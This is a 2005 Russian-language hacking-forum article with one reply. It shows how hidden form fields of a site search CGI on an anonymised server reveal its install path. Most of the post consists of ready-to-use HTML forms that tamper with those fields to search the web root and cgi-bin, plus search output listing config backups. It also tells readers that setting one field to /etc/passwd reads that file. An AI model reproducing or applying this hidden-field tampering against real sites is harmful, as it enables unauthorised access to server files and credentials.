Статьи Утечка информации о сервере через скрытые поля html-кода

Discussion in 'Статьи' started by k00p3r, 10 Jun 2005.

  1. k00p3r

    k00p3r Banned

    Joined:
    31 May 2005
    Messages:
    430
    Likes Received:
    8
    Reputations:
    2
    Сколько раз уже говорили о опасности сокрытой в скрытых формах, но все равно встречаются умельцы, которые пренебрегают ею.
    В html-коде index'ной страницы сервера www.xxx.com есть такой вот фрагмент: (ненужные элементы дизайна удалены)



    <form method=POST action="/cgi-bin/wsmsearch2.cgi">
    Search Site: <input type=text name="terms" size=20>
    <input type=hidden name=boolean value="AND">
    <input type=hidden name=case value="Insensitive">
    <input type=hidden name=quicksearch value="NO">
    <input type=hidden name=max value="50">
    <input type=hidden name=faqfile value="/opt2/xxx/httpd/htdocs _
    http://www.xxx.com/ _ *.*
    manual/ updates/ _ http://www.xxx.com">
    <input type=hidden name=resultspage
    value="/opt2/xxx/httpd/htdocs/results.html">
    <input type=submit value="Search!">


    как уже стало понятно, это скрипт поисковой системы по сайту. но вот эти строчки особенно интересны:



    <input type=hidden name=faqfile value="/opt2/xxx/httpd/htdocs _
    http://www.xxx.com/ _ *.*
    manual/ updates/ _ http://www.xxx.com">
    <input type=hidden name=resultspage
    value="/opt2/xxx/httpd/htdocs/results.html">


    /opt2/xxx/httpd/htdocs - это инсталяционный путь сайта, но это еще не все.
    скрипт поиска берет свои данные из скрытых форм:



    <input type=hidden name=boolean value="AND">
    <input type=hidden name=case value="Insensitive">
    <input type=hidden name=quicksearch value="NO">
    <input type=hidden name=max value="50">
    <input type=hidden name=faqfile value="/opt2/xxx/httpd/htdocs _
    http://www.xxx.com/ _ *.*
    manual/ updates/ _ http://www.xxx.com">
    <input type=hidden name=resultspage
    value="/opt2/xxx/httpd/htdocs/results.html">


    то есть поиск производиться в папках: manual/ updates/ и корневой папке сервера http://www.xxx.com/ _ *.*
    (интересно что с помощью этого поикового скрипта был обнаружен файл: www_xxx_user_list.txt в корне сервера, это список юзеров).

    так вот здесь можно манипулировать запросами скрипта. создаем html вот с таким кодом:



    <form method=POST
    action="http://www.xxx.com/cgi-bin/wsmsearch2.cgi">
    Search Site: <input type=text name="terms" size=20>
    <input type=hidden name=boolean value="AND">
    <input type=hidden name=case value="Insensitive">
    <input type=hidden name=quicksearch value="NO">
    <input type=hidden name=max value="50">
    <input type=hidden name=faqfile value="/opt2/xxx/httpd/htdocs">
    <input type=hidden name=resultspage
    value="/opt2/xxx/httpd/htdocs/results.html">
    <input type=submit value="Search!">


    то есть просто убираем строчки: _ http://www.xxx.com/ _ *.* manual/ updates/ _ http://www.xxx.com и выполняем поисковый запрос по всему сайту.
    так же можно искать файлы и в /opt2/xxx/httpd/htdocs/cgi-bin/ :



    <form method=POST
    action="http://www.xxx.com/cgi-bin/wsmsearch2.cgi">
    Search Site: <input type=text name="terms" size=20>
    <input type=hidden name=boolean value="AND">
    <input type=hidden name=case value="Insensitive">
    <input type=hidden name=quicksearch value="NO">
    <input type=hidden name=max value="50">
    <input type=hidden name=faqfile value="/opt2/xxx/httpd/htdocs_
    http://www.xxx.com/ _ *.*
    cgi-bin/ _ http://www.xxx.com">
    <input type=hidden name=resultspage
    value="/opt2/xxx/httpd/htdocs/results.html">
    <input type=submit value="Search!">


    вот что было обнаружено в результате этих запросов:


    Here are your search results for the keyword(s) conf.dont_use in order of
    relevance.

    1) conf.dont_use/srm.conf.old SIZE: 7354 bytes TYPE: Unknown
    Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
    partial matches: 0
    2) conf.dont_use/srm.conf SIZE: 7436 bytes TYPE: Unknown
    Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
    partial matches: 0
    3) conf.dont_use/sessiond.conf SIZE: 159 bytes TYPE: Unknown
    Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
    partial matches: 0
    4) conf.dont_use/mime.types SIZE: 2652 bytes TYPE: Unknown
    Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
    partial matches: 0
    5) conf.dont_use/imagemap.conf SIZE: 1062 bytes TYPE: Unknown
    Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
    partial matches: 0
    6) conf.dont_use/httpsd.conf.dave SIZE: 43652 bytes TYPE: Unknown
    Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
    partial matches: 0
    7) conf.dont_use/httpsd.conf.11-20-2001 SIZE: 43841 bytes TYPE: Unknown
    Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
    partial matches: 0
    8) conf.dont_use/httpsd.conf-backup SIZE: 13243 bytes TYPE: Unknown
    Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
    partial matches: 0
    9) conf.dont_use/httpsd.conf SIZE: 43927 bytes TYPE: Unknown
    Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
    partial matches: 0
    10) conf.dont_use/httpd.conf.vhback SIZE: 7225 bytes TYPE: Unknown
    Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
    partial matches: 0
    11) conf.dont_use/httpd.conf.11-20-2001 SIZE: 7451 bytes TYPE: Unknown
    Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
    partial matches: 0
    12) conf.dont_use/httpd.conf SIZE: 7451 bytes TYPE: Unknown
    Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
    partial matches: 0
    13) conf.dont_use/access.conf SIZE: 1725 bytes TYPE: Unknown
    Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
    partial matches: 0
    и еще один скрипт:


    Here are your search results for the keyword(s) securedata in order of
    relevance.

    1) cgi-bin/conf.dont_use/resetsecuredata.cgi SIZE: bytes TYPE: CGIsсript
    Term: securedata Filename matches: 0,1 Title matches: 0,0 exact matches: 0
    partial matches: 0

    Ну а всеми любимый /etc/passwd получается совсем просто : достаточно просто значение скрытого поля resultspage заменить на /etc/passwd.

    Вот так вот иногда администраторы сервера пытаются залатать всевозможные дыры, накатывая последние патчи, а информация утекает просто из html-кода.

    твой bug Durito
     
  2. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    полезная статья хотя это уже не новое...помните багу на мэйлру где в скрытом поле находился пасс юзверя...